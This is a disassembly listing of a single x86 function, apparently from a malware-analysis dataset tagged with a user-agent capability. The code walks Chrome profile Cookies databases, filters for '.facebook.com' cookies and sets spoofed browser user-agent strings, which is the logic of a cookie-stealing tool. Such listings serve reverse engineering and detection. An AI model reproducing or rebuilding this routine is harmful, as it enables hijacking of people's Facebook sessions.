Function at 0x4f2b30
Capabilities:
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x525488
mov eax, dword fs:[0]
push eax
mov eax, 0x304c
call fcn.004f52d0
mov eax, dword [0x559940]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x2e28], 0
push 0x1000
push 0
lea eax, [ebp - 0x1280]
push eax
call fcn.004f7f30
add esp, 0xc
push 0x1000
push 0
lea ecx, [ebp - 0x2280]
push ecx
call fcn.004f7f30
add esp, 0xc
push 0x32
push 0
lea edx, [ebp - 0x44]
push edx
call fcn.004f7f30
add esp, 0xc
nop
push 0x32
push 0
lea eax, [ebp - 0x3024]
push eax
call fcn.004f7f30
add esp, 0xc
push 0x32
push 0
lea ecx, [ebp - 0x3058]
push ecx
call fcn.004f7f30
add esp, 0xc
nop
lea ecx, [ebp - 0x2c38]
call fcn.004f15d0
mov dword [ebp - 4], 0
push str.install
lea ecx, [ebp - 0x2c38]
call fcn.004b3560
push 0x53a018
lea ecx, [ebp - 0x2c20]
call fcn.004b3560
push 0x53a02c
lea ecx, [ebp - 0x2c08]
call fcn.004b3560
push 0x55e900
lea ecx, [ebp - 0x2b78]
call fcn.004b34f0
push 0x55ea10
lea ecx, [ebp - 0x2b24]
call fcn.004b34f0
mov byte [ebp - 0x2e29], 0
mov dword [ebp - 0x2e34], 1
lea edx, [ebp - 0x280]
push edx
call fcn.004de750
add esp, 4
push str.GoogleChromeUser_DataProfile_1Cookies
push 0x104
lea eax, [ebp - 0x280]
push eax
call fcn.0050841f
add esp, 0xc
lea ecx, [ebp - 0x280]
push ecx
call fcn.004d60f0
mov edx, dword [eax + 0xc0]
call edx
test eax, eax
je 0x4f2c89
mov byte [ebp - 0x2e29], 1
jmp 0x4f2c93
mov dword [ebp - 0x2e34], 0
movzx eax, byte [ebp - 0x2e29]
test eax, eax
je 0x4f2d90
lea ecx, [ebp - 0x280]
push ecx
call fcn.004de750
add esp, 4
push str.GoogleChromeUser_DataProfile
lea ecx, [ebp - 0x23b8]
call fcn.004a4080
mov byte [ebp - 4], 1
mov edx, dword [ebp - 0x2e34]
add edx, 1
push edx
lea eax, [ebp - 0x2f30]
push eax
call fcn.004e7f80
add esp, 8
mov dword [ebp - 0x2e6c], eax
mov ecx, dword [ebp - 0x2e6c]
mov dword [ebp - 0x2e70], ecx
mov byte [ebp - 4], 2
mov edx, dword [ebp - 0x2e70]
push edx
lea ecx, [ebp - 0x23b8]
call fcn.004b46d0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x2f30]
call fcn.004a4f40
push str.Cookies
lea ecx, [ebp - 0x23b8]
call fcn.004b4710
lea ecx, [ebp - 0x23b8]
call fcn.004a8300
push eax
push 0x104
lea eax, [ebp - 0x280]
push eax
call fcn.0050841f
add esp, 0xc
lea ecx, [ebp - 0x280]
push ecx
call fcn.004d60f0
mov edx, dword [eax + 0xc0]
call edx
test eax, eax
je 0x4f2d75
mov byte [ebp - 0x2e29], 1
mov eax, dword [ebp - 0x2e34]
add eax, 1
mov dword [ebp - 0x2e34], eax
jmp 0x4f2d7c
mov byte [ebp - 0x2e29], 0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x23b8]
call fcn.004a4f40
jmp 0x4f2c93
push 0x53994b
lea ecx, [ebp - 0x2328]
call fcn.004a4080
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x2e34]
add ecx, 1
mov dword [ebp - 0x29a4], ecx
lea ecx, [ebp - 0x29a0]
call fcn.004f2940
lea ecx, [ebp - 0x2604]
call fcn.004f1520
mov byte [ebp - 4], 4
push 0x53a090
lea ecx, [ebp - 0x2604]
call fcn.004b3560
push 0x1000
push 0
lea edx, [ebp - 0x1280]
push edx
call fcn.004f7f30
add esp, 0xc
push 0x1000
push 0
lea eax, [ebp - 0x2280]
push eax
call fcn.004f7f30
add esp, 0xc
push 0x32
push 0
lea ecx, [ebp - 0x44]
push ecx
call fcn.004f7f30
add esp, 0xc
push 1
push 0x53a098
push 0x53a0b0
push 0x53a0c0
lea edx, [ebp - 0x44]
push edx
lea eax, [ebp - 0x2280]
push eax
lea ecx, [ebp - 0x1280]
push ecx
push 0x53a0c8
call fcn.005287e0
add esp, 0x20
mov dword [ebp - 0x2e30], eax
lea edx, [ebp - 0x44]
push edx
lea ecx, [ebp - 0x2328]
call fcn.004b3560
push 0x53994e
lea eax, [ebp - 0x2328]
push eax
call fcn.004ded30
add esp, 8
movzx ecx, al
test ecx, ecx
je 0x4f2f78
lea edx, [ebp - 0x1280]
push edx
lea ecx, [ebp - 0x25a4]
call fcn.004b3560
lea eax, [ebp - 0x44]
push eax
lea ecx, [ebp - 0x25bc]
call fcn.004b3560
lea ecx, [ebp - 0x44]
push ecx
mov ecx, 0x55e978
call fcn.004b3560
push 0x32
push 0
lea edx, [ebp - 0x148]
push edx
call fcn.004f7f30
add esp, 0xc
push 0x32
push 0
lea eax, [ebp - 0x114]
push eax
call fcn.004f7f30
add esp, 0xc
push 0x53a0d0
push 0x53a0d8
lea ecx, [ebp - 0x114]
push ecx
lea edx, [ebp - 0x148]
push edx
call fcn.005299e0
add esp, 0x10
lea eax, [ebp - 0x148]
push eax
lea ecx, [ebp - 0x25ec]
call fcn.004b3560
lea ecx, [ebp - 0x114]
push ecx
lea ecx, [ebp - 0x25d4]
call fcn.004b3560
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x2edc], esp
push 0x53994f
call fcn.004a4080
mov dword [ebp - 0x2ec8], eax
mov byte [ebp - 4], 5
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x2ed8], esp
lea edx, [ebp - 0x2280]
push edx
call fcn.004a4080
lea eax, [ebp - 0x25ec]
push eax
lea ecx, [ebp - 0x2580]
push ecx
mov byte [ebp - 4], 4
call fcn.00528240
add esp, 0x38
mov dword [ebp - 0x2e74], eax
mov edx, dword [ebp - 0x2e74]
mov dword [ebp - 0x2ed4], edx
lea ecx, [ebp - 0x258c]
call fcn.004f29a0
lea ecx, [ebp - 0x2604]
call fcn.004a8300
push eax
lea eax, [ebp - 0x258c]
push eax
call fcn.00529dd0
add esp, 8
lea ecx, [ebp - 0x2604]
push ecx
lea ecx, [ebp - 0x29a0]
call fcn.004f2ae0
cmp dword [ebp - 0x2e34], 0
jle 0x4f323f
mov dword [ebp - 0x2e38], 1
jmp 0x4f2fd8
mov edx, dword [ebp - 0x2e38]
add edx, 1
mov dword [ebp - 0x2e38], edx
mov eax, dword [ebp - 0x2e38]
cmp eax, dword [ebp - 0x2e34]
jg 0x4f323f
mov ecx, dword [ebp - 0x2e38]
push ecx
lea edx, [ebp - 0x2ff0]
push edx
call fcn.004e7f80
add esp, 8
mov dword [ebp - 0x2e68], eax
mov eax, dword [ebp - 0x2e68]
mov dword [ebp - 0x2e78], eax
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x2e78]
push ecx
push str.Profile
lea edx, [ebp - 0x23d0]
push edx
call fcn.004aea70
add esp, 0xc
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x2ff0]
call fcn.004a4f40
lea ecx, [ebp - 0x2e24]
call fcn.004f1520
mov byte [ebp - 4], 9
lea eax, [ebp - 0x23d0]
push eax
lea ecx, [ebp - 0x2e24]
call fcn.004b34f0
push 0x1000
push 0
lea ecx, [ebp - 0x1280]
push ecx
call fcn.004f7f30
add esp, 0xc
push 0x1000
push 0
lea edx, [ebp - 0x2280]
push edx
call fcn.004f7f30
add esp, 0xc
push 0x32
push 0
lea eax, [ebp - 0x44]
push eax
call fcn.004f7f30
add esp, 0xc
push 1
push 0x53a0f4
push 0x53a10c
push 0x53a11c
lea ecx, [ebp - 0x44]
push ecx
lea edx, [ebp - 0x2280]
push edx
lea eax, [ebp - 0x1280]
push eax
lea ecx, [ebp - 0x23d0]
call fcn.004a8300
push eax
call fcn.005287e0
add esp, 0x20
mov dword [ebp - 0x2e30], eax
lea ecx, [ebp - 0x44]
push ecx
lea ecx, [ebp - 0x2328]
call fcn.004b3560
push 0x539959
lea edx, [ebp - 0x2328]
push edx
call fcn.004ded30
add esp, 8
movzx eax, al
test eax, eax
je 0x4f320a
lea ecx, [ebp - 0x1280]
push ecx
lea ecx, [ebp - 0x2dc4]
call fcn.004b3560
lea edx, [ebp - 0x44]
push edx
lea ecx, [ebp - 0x2ddc]
call fcn.004b3560
lea eax, [ebp - 0x44]
push eax
mov ecx, 0x55e978
call fcn.004b3560
push 0x32
push 0
lea ecx, [ebp - 0x17c]
push ecx
call fcn.004f7f30
add esp, 0xc
push 0x32
push 0
lea edx, [ebp - 0xe0]
push edx
call fcn.004f7f30
add esp, 0xc
lea ecx, [ebp - 0x23d0]
call fcn.004a8300
push eax
push 0x53a124
lea eax, [ebp - 0xe0]
push eax
lea ecx, [ebp - 0x17c]
push ecx
call fcn.005299e0
add esp, 0x10
lea edx, [ebp - 0x17c]
push edx
lea ecx, [ebp - 0x2e0c]
call fcn.004b3560
lea eax, [ebp - 0xe0]
push eax
lea ecx, [ebp - 0x2df4]
call fcn.004b3560
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x2ecc], esp
push 0x53995a
call fcn.004a4080
mov dword [ebp - 0x2ec4], eax
mov byte [ebp - 4], 0xa
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x2ec0], esp
lea edx, [ebp - 0x2280]
push edx
call fcn.004a4080
lea eax, [ebp - 0x2e0c]
push eax
lea ecx, [ebp - 0x2da0]
push ecx
mov byte [ebp - 4], 9
call fcn.00528240
add esp, 0x38
mov dword [ebp - 0x2e7c], eax
mov edx, dword [ebp - 0x2e7c]
mov dword [ebp - 0x2ebc], edx
lea eax, [ebp - 0x2e24]
push eax
lea ecx, [ebp - 0x29a0]
call fcn.004f2ae0
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x2e24]
call fcn.004f18f0
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x23d0]
call fcn.004a4f40
jmp 0x4f2fc9
sub esp, 0x10
mov ecx, esp
mov dword [ebp - 0x2eb8], esp
lea edx, [ebp - 0x29a4]
push edx
call fcn.004f1360
lea eax, [ebp - 0x2418]
push eax
call fcn.004f2040
add esp, 0x14
mov dword [ebp - 0x2eb4], eax
mov byte [ebp - 4], 0xb
push 0x1000
push 0
lea ecx, [ebp - 0x1280]
push ecx
call fcn.004f7f30
add esp, 0xc
push 0x1000
push 0
lea edx, [ebp - 0x2280]
push edx
call fcn.004f7f30
add esp, 0xc
push 0x32
push 0
lea eax, [ebp - 0x44]
push eax
call fcn.004f7f30
add esp, 0xc
push 1
push 0x53a134
push 0x53a14c
push 0x53a15c
lea ecx, [ebp - 0x44]
push ecx
lea edx, [ebp - 0x2280]
push edx
lea eax, [ebp - 0x1280]
push eax
push str.Default
call fcn.005287e0
add esp, 0x20
mov dword [ebp - 0x2e30], eax
lea ecx, [ebp - 0x44]
push ecx
lea ecx, [ebp - 0x2298]
call fcn.004a4080
mov byte [ebp - 4], 0xc
cmp dword [ebp - 0x2e30], 0
jne 0x4f3318
push 0x53995b
lea edx, [ebp - 0x2298]
push edx
call fcn.004ae9e0
add esp, 8
movzx eax, al
test eax, eax
je 0x4f334e
push 1
push 0x53a16c
push 0x53a184
push 0x53a194
lea ecx, [ebp - 0x44]
push ecx
lea edx, [ebp - 0x2280]
push edx
lea eax, [ebp - 0x1280]
push eax
push str.Profile_1
call fcn.005287e0
add esp, 0x20
mov dword [ebp - 0x2e30], eax
nop
lea ecx, [ebp - 0x1280]
push ecx
lea ecx, [ebp - 0x2358]
call fcn.004a4080
mov byte [ebp - 4], 0xd
lea edx, [ebp - 0x2280]
push edx
lea ecx, [ebp - 0x2388]
call fcn.004a4080
mov byte [ebp - 4], 0xe
nop
lea ecx, [ebp - 0x2358]
call fcn.004a9110
movzx eax, al
test eax, eax
je 0x4f33d1
push 0x53a1a8
lea ecx, [ebp - 0x2f60]
call fcn.004a4080
mov dword [ebp - 0x2e80], eax
mov ecx, dword [ebp - 0x2e80]
mov dword [ebp - 0x2e84], ecx
mov byte [ebp - 4], 0xf
mov edx, dword [ebp - 0x2e28]
or edx, 1
mov dword [ebp - 0x2e28], edx
mov eax, dword [ebp - 0x2e84]
mov dword [ebp - 0x2e3c], eax
jmp 0x4f3404
lea ecx, [ebp - 0x2358]
push ecx
lea ecx, [ebp - 0x2f48]
call fcn.004a3f40
mov dword [ebp - 0x2e88], eax
mov edx, dword [ebp - 0x2e28]
or edx, 2
mov dword [ebp - 0x2e28], edx
mov eax, dword [ebp - 0x2e88]
mov dword [ebp - 0x2e3c], eax
mov ecx, dword [ebp - 0x2e3c]
mov dword [ebp - 0x2e8c], ecx
mov edx, dword [ebp - 0x2e8c]
push edx
lea ecx, [ebp - 0x2b90]
call fcn.004a5430
mov eax, dword [ebp - 0x2e28]
and eax, 2
je 0x4f343f
and dword [ebp - 0x2e28], 0xfffffffd
lea ecx, [ebp - 0x2f48]
call fcn.004a4f40
mov dword [ebp - 4], 0xe
mov ecx, dword [ebp - 0x2e28]
and ecx, 1
je 0x4f3463
and dword [ebp - 0x2e28], 0xfffffffe
lea ecx, [ebp - 0x2f60]
call fcn.004a4f40
push 0x539965
lea edx, [ebp - 0x2298]
push edx
call fcn.004ded30
add esp, 8
movzx eax, al
test eax, eax
je 0x4f3502
nop
lea ecx, [ebp - 0x2298]
push ecx
lea ecx, [ebp - 0x2bd8]
call fcn.004b34f0
lea edx, [ebp - 0x2298]
push edx
mov ecx, 0x55e978
call fcn.004b34f0
push 0x32
push 0
lea eax, [ebp - 0xac]
push eax
call fcn.004f7f30
add esp, 0xc
push 0x32
push 0
lea ecx, [ebp - 0x78]
push ecx
call fcn.004f7f30
add esp, 0xc
push str..facebook.com
lea edx, [ebp - 0x78]
push edx
lea eax, [ebp - 0xac]
push eax
call fcn.00529500
add esp, 0xc
lea ecx, [ebp - 0xac]
push ecx
lea ecx, [ebp - 0x2bf0]
call fcn.004b3560
lea edx, [ebp - 0x78]
push edx
lea ecx, [ebp - 0x2bc0]
call fcn.004b3560
push 0x1000
push 0
lea eax, [ebp - 0x1280]
push eax
call fcn.004f7f30
add esp, 0xc
push 0x1000
push 0
lea ecx, [ebp - 0x2280]
push ecx
call fcn.004f7f30
add esp, 0xc
push 0x32
push 0
lea edx, [ebp - 0x44]
push edx
call fcn.004f7f30
add esp, 0xc
nop
lea eax, [ebp - 0x44]
push eax
lea ecx, [ebp - 0x2280]
push ecx
lea edx, [ebp - 0x1280]
push edx
call fcn.005289b0
add esp, 0xc
mov dword [ebp - 0x2e30], eax
nop
lea eax, [ebp - 0x1280]
push eax
lea ecx, [ebp - 0x2340]
call fcn.004a4080
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x2280]
push ecx
lea ecx, [ebp - 0x23a0]
call fcn.004a4080
mov byte [ebp - 4], 0x11
lea edx, [ebp - 0x44]
push edx
lea ecx, [ebp - 0x22b0]
call fcn.004a4080
mov byte [ebp - 4], 0x12
push 0x53a1bc
lea ecx, [ebp - 0x2b90]
call fcn.004b4710
lea ecx, [ebp - 0x2340]
call fcn.004a9110
movzx eax, al
test eax, eax
je 0x4f3604
push 0x53a1c0
lea ecx, [ebp - 0x2f90]
call fcn.004a4080
mov dword [ebp - 0x2e90], eax
mov ecx, dword [ebp - 0x2e90]
mov dword [ebp - 0x2e94], ecx
mov byte [ebp - 4], 0x13
mov edx, dword [ebp - 0x2e28]
or edx, 4
mov dword [ebp - 0x2e28], edx
mov eax, dword [ebp - 0x2e94]
mov dword [ebp - 0x2e40], eax
jmp 0x4f364a
lea ecx, [ebp - 0x2340]
push ecx
lea ecx, [ebp - 0x2f78]
call fcn.004a3f40
mov dword [ebp - 0x2e98], eax
mov edx, dword [ebp - 0x2e98]
mov dword [ebp - 0x2e9c], edx
mov dword [ebp - 4], 0x14
mov eax, dword [ebp - 0x2e28]
or eax, 8
mov dword [ebp - 0x2e28], eax
mov ecx, dword [ebp - 0x2e9c]
mov dword [ebp - 0x2e40], ecx
mov edx, dword [ebp - 0x2e40]
mov dword [ebp - 0x2ea0], edx
mov eax, dword [ebp - 0x2ea0]
push eax
lea ecx, [ebp - 0x2b90]
call fcn.004b46d0
mov dword [ebp - 4], 0x13
mov ecx, dword [ebp - 0x2e28]
and ecx, 8
je 0x4f368c
and dword [ebp - 0x2e28], 0xfffffff7
lea ecx, [ebp - 0x2f78]
call fcn.004a4f40
mov dword [ebp - 4], 0x12
mov edx, dword [ebp - 0x2e28]
and edx, 4
je 0x4f36b0
and dword [ebp - 0x2e28], 0xfffffffb
lea ecx, [ebp - 0x2f90]
call fcn.004a4f40
nop
push 0x539966
lea eax, [ebp - 0x22b0]
push eax
call fcn.004ded30
add esp, 8
movzx ecx, al
test ecx, ecx
je 0x4f370a
push 0x539967
lea edx, [ebp - 0x2298]
push edx
call fcn.004ae9e0
add esp, 8
movzx eax, al
test eax, eax
je 0x4f370a
lea ecx, [ebp - 0x22b0]
push ecx
lea ecx, [ebp - 0x2bd8]
call fcn.004b34f0
lea edx, [ebp - 0x22b0]
push edx
mov ecx, 0x55e978
call fcn.004b34f0
push 0x53996f
lea ecx, [ebp - 0x2310]
call fcn.004a4080
mov byte [ebp - 4], 0x15
push 0x53997a
lea ecx, [ebp - 0x2370]
call fcn.004a4080
mov byte [ebp - 4], 0x16
push 0x53997b
lea ecx, [ebp - 0x22f8]
call fcn.004a4080
mov byte [ebp - 4], 0x17
nop
lea eax, [ebp - 0x22f8]
push eax
lea ecx, [ebp - 0x2370]
push ecx
lea edx, [ebp - 0x2310]
push edx
call fcn.00528fe0
add esp, 0xc
mov dword [ebp - 0x2e30], eax
nop
push 0x53a1c4
lea ecx, [ebp - 0x2b90]
call fcn.004b4710
lea ecx, [ebp - 0x2310]
call fcn.004a9110
movzx eax, al
test eax, eax
je 0x4f37d0
push 0x53a1c8
lea ecx, [ebp - 0x2fc0]
call fcn.004a4080
mov dword [ebp - 0x2ea4], eax
mov ecx, dword [ebp - 0x2ea4]
mov dword [ebp - 0x2ea8], ecx
mov byte [ebp - 4], 0x18
mov edx, dword [ebp - 0x2e28]
or edx, 0x10
mov dword [ebp - 0x2e28], edx
mov eax, dword [ebp - 0x2ea8]
mov dword [ebp - 0x2e44], eax
jmp 0x4f3816
lea ecx, [ebp - 0x2310]
push ecx
lea ecx, [ebp - 0x2fa8]
call fcn.004a3f40
mov dword [ebp - 0x2eac], eax
mov edx, dword [ebp - 0x2eac]
mov dword [ebp - 0x2e48], edx
mov dword [ebp - 4], 0x19
mov eax, dword [ebp - 0x2e28]
or eax, 0x20
mov dword [ebp - 0x2e28], eax
mov ecx, dword [ebp - 0x2e48]
mov dword [ebp - 0x2e44], ecx
mov edx, dword [ebp - 0x2e44]
mov dword [ebp - 0x2e4c], edx
mov eax, dword [ebp - 0x2e4c]
push eax
lea ecx, [ebp - 0x2b90]
call fcn.004b46d0
mov dword [ebp - 4], 0x18
mov ecx, dword [ebp - 0x2e28]
and ecx, 0x20
je 0x4f3858
and dword [ebp - 0x2e28], 0xffffffdf
lea ecx, [ebp - 0x2fa8]
call fcn.004a4f40
mov dword [ebp - 4], 0x17
mov edx, dword [ebp - 0x2e28]
and edx, 0x10
je 0x4f387c
and dword [ebp - 0x2e28], 0xffffffef
lea ecx, [ebp - 0x2fc0]
call fcn.004a4f40
nop
push 0x53997f
lea eax, [ebp - 0x22f8]
push eax
call fcn.004ded30
add esp, 8
movzx ecx, al
test ecx, ecx
je 0x4f38f1
push 0x539989
lea edx, [ebp - 0x2298]
push edx
call fcn.004ae9e0
add esp, 8
movzx eax, al
test eax, eax
je 0x4f38f1
push 0x53998a
lea ecx, [ebp - 0x22b0]
push ecx
call fcn.004ae9e0
add esp, 8
movzx edx, al
test edx, edx
je 0x4f38f1
lea eax, [ebp - 0x22f8]
push eax
lea ecx, [ebp - 0x2bd8]
call fcn.004b34f0
lea ecx, [ebp - 0x22f8]
push ecx
mov ecx, 0x55e978
call fcn.004b34f0
nop
push 0x53998b
lea ecx, [ebp - 0x22e0]
call fcn.004a4080
mov byte [ebp - 4], 0x1a
push 0x539995
lea ecx, [ebp - 0x22c8]
call fcn.004a4080
mov byte [ebp - 4], 0x1b
push 0x55e918
lea ecx, [ebp - 0x2400]
call fcn.004a3f40
mov byte [ebp - 4], 0x1c
push 0x539996
lea edx, [ebp - 0x2298]
push edx
call fcn.004ae9e0
add esp, 8
movzx eax, al
test eax, eax
je 0x4f3989
push 0x539997
lea ecx, [ebp - 0x22b0]
push ecx
call fcn.004ae9e0
add esp, 8
movzx edx, al
test edx, edx
je 0x4f3989
nop
lea eax, [ebp - 0x2370]
push eax
lea ecx, [ebp - 0x22e0]
call fcn.004b34f0
push str.Mozilla_5.0__compatible__MSIE_9.0__Windows_NT_6.1__Win64__x64__Trident_5.0__.NET_CLR_2.0.50727__SLCC2__.NET_CLR_3.5.30729__.NET_CLR_3.0.30729__Media_Center_PC_6.0__InfoPath.3__.NET4.0C__Tablet_PC_2.0__.NET4.0E_
lea ecx, [ebp - 0x22c8]
call fcn.004b3560
jmp 0x4f39ec
push 0x53999b
lea ecx, [ebp - 0x2298]
push ecx
call fcn.004ded30
add esp, 8
movzx edx, al
test edx, edx
je 0x4f39c9
nop
lea eax, [ebp - 0x2388]
push eax
lea ecx, [ebp - 0x22e0]
call fcn.004b34f0
push 0x5399b2
lea ecx, [ebp - 0x22c8]
call fcn.004b3560
jmp 0x4f39ec
nop
lea ecx, [ebp - 0x23a0]
push ecx
lea ecx, [ebp - 0x22e0]
call fcn.004b34f0
push str.Mozilla_5.0__Windows_NT_6.1__WOW64__rv:6.0__Gecko_20100101_Firefox_6.0
lea ecx, [ebp - 0x22c8]
call fcn.004b3560
lea edx, [ebp - 0x22c8]
push edx
lea ecx, [ebp - 0x2ba8]
call fcn.004b34f0
cmp dword [ebp - 0x2e30], 0
jne 0x4f3f07
push 0x5399b3
lea ecx, [ebp - 0x23e8]
call fcn.004a4080
mov byte [ebp - 4], 0x1d
push 0x5399b7
lea eax, [ebp - 0x2298]
push eax
call fcn.004ded30
add esp, 8
movzx ecx, al
test ecx, ecx
jne 0x4f3a74
push 0x5399ba
lea edx, [ebp - 0x22b0]
push edx
call fcn.004ded30
add esp, 8
movzx eax, al
test eax, eax
jne 0x4f3a74
push 0x5399bb
lea ecx, [ebp - 0x22f8]
push ecx
call fcn.004ded30
add esp, 8
movzx edx, al
test edx, edx
je 0x4f3b16
push 0x5399be
lea eax, [ebp - 0x22e0]
push eax
call fcn.004ded30
add esp, 8
movzx ecx, al
test ecx, ecx
je 0x4f3b16
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x2eb0], esp
lea edx, [ebp - 0x22c8]
push edx
call fcn.004a3f40
call fcn.004ee8e0
add esp, 0x18
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x2ee8], esp
lea eax, [ebp - 0x22c8]
push eax
call fcn.004a3f40
mov dword [ebp - 0x2ed0], eax
mov byte [ebp - 4], 0x1e
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x2ee0], esp
lea edx, [ebp - 0x22e0]
push edx
call fcn.004a3f40
lea eax, [ebp - 0x23e8]
push eax
lea ecx, [ebp - 0x2b0c]
push ecx
mov byte [ebp - 4], 0x1d
call fcn.00528240
add esp, 0x38
mov dword [ebp - 0x2e50], eax
mov edx, dword [ebp - 0x2e50]
mov dword [ebp - 0x2ee4], edx
push 0x5399bf
lea eax, [ebp - 0x2bf0]
push eax
call fcn.004ae9e0
add esp, 8
movzx ecx, al
test ecx, ecx
je 0x4f3b43
lea edx, [ebp - 0x23e8]
push edx
lea ecx, [ebp - 0x2bf0]
call fcn.004b34f0
lea eax, [ebp - 0x2bf0]
push eax
call fcn.004e7fb0
add esp, 4
push eax
lea ecx, [ebp - 0x2bf0]
call fcn.004b34f0
push str._zhuanyi_
lea ecx, [ebp - 0x2f18]
call fcn.004a4080
mov byte [ebp - 4], 0x1f
push 0x53a2ac
lea ecx, [ebp - 0x2f00]
call fcn.004a4080
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x2f18]
push ecx
lea edx, [ebp - 0x2f00]
push edx
lea eax, [ebp - 0x2bc0]
push eax
call fcn.004e7460
add esp, 0xc
push eax
lea ecx, [ebp - 0x2bc0]
call fcn.004b34f0
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x2f00]
call fcn.004a4f40
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0x2f18]
call fcn.004a4f40
nop
mov dword [0x55e9ac], 0xfffffffe
lea ecx, [ebp - 0x2bf0]
push ecx
mov ecx, 0x55e990
call fcn.004b34f0
nop
lea edx, [ebp - 0x2b90]
push edx
push 0x53a2f8
lea eax, [ebp - 0x2fd8]
push eax
call fcn.004aeab0
add esp, 0xc
mov dword [ebp - 0x2e54], eax
mov ecx, dword [ebp - 0x2e54]
push ecx
lea ecx, [ebp - 0x2b90]
call fcn.004a5430
lea ecx, [ebp - 0x2fd8]
call fcn.004a4f40
push 0x53a2fc
lea ecx, [ebp - 0x2b90]
call fcn.004b4710
lea ecx, [ebp - 0x2358]
call fcn.004a9110
movzx edx, al
test edx, edx
je 0x4f3da0
lea ecx, [ebp - 0x2340]
call fcn.004a9110
movzx eax, al
test eax, eax
je 0x4f3da0
lea ecx, [ebp - 0x2310]
call fcn.004a9110
movzx ecx, al
test ecx, ecx
je 0x4f3da0
push str.no_fbcookies_found
mov ecx, 0x55e8e8
call fcn.004b3560
mov dword [ebp - 0x2e58], 0
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x23e8]
call fcn.004a4f40
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x2400]
call fcn.004a4f40
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x22c8]
call fcn.004a4f40
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x22e0]
call fcn.004a4f40
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x22f8]
call fcn.004a4f40
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x2370]
call fcn.004a4f40
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x2310]
call fcn.004a4f40
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x22b0]
call fcn.004a4f40
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x23a0]
call fcn.004a4f40
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x2340]
call fcn.004a4f40
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x2388]
call fcn.004a4f40
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x2358]
call fcn.004a4f40
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x2298]
call fcn.004a4f40
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x2418]
call fcn.004a4f40
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x2604]
call fcn.004f18f0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x2328]
call fcn.004a4f40
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2c38]
call fcn.004f1990
mov eax, dword [ebp - 0x2e58]
jmp 0x4f4114
push 0x5399da
lea ecx, [ebp - 0x2b54]
call fcn.004b3560
lea ecx, [ebp - 0x2b60]
call fcn.004f2a00
mov ecx, 0x55e978
call fcn.004a9110
movzx edx, al
test edx, edx
jne 0x4f3ddc
push 0x55ea28
lea ecx, [ebp - 0x2b3c]
call fcn.004b34f0
lea eax, [ebp - 0x2c38]
push eax
call fcn.00529fd0
add esp, 4
mov dword [ebp - 0x2e5c], 0
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x23e8]
call fcn.004a4f40
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x2400]
call fcn.004a4f40
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x22c8]
call fcn.004a4f40
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x22e0]
call fcn.004a4f40
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x22f8]
call fcn.004a4f40
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x2370]
call fcn.004a4f40
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x2310]
call fcn.004a4f40
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x22b0]
call fcn.004a4f40
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x23a0]
call fcn.004a4f40
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x2340]
call fcn.004a4f40
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x2388]
call fcn.004a4f40
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x2358]
call fcn.004a4f40
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x2298]
call fcn.004a4f40
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x2418]
call fcn.004a4f40
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x2604]
call fcn.004f18f0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x2328]
call fcn.004a4f40
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2c38]
call fcn.004f1990
mov eax, dword [ebp - 0x2e5c]
jmp 0x4f4114
mov ecx, dword [ebp - 0x2e30]
mov dword [ebp - 0x2e60], ecx
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x2400]
call fcn.004a4f40
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x22c8]
call fcn.004a4f40
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x22e0]
call fcn.004a4f40
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x22f8]
call fcn.004a4f40
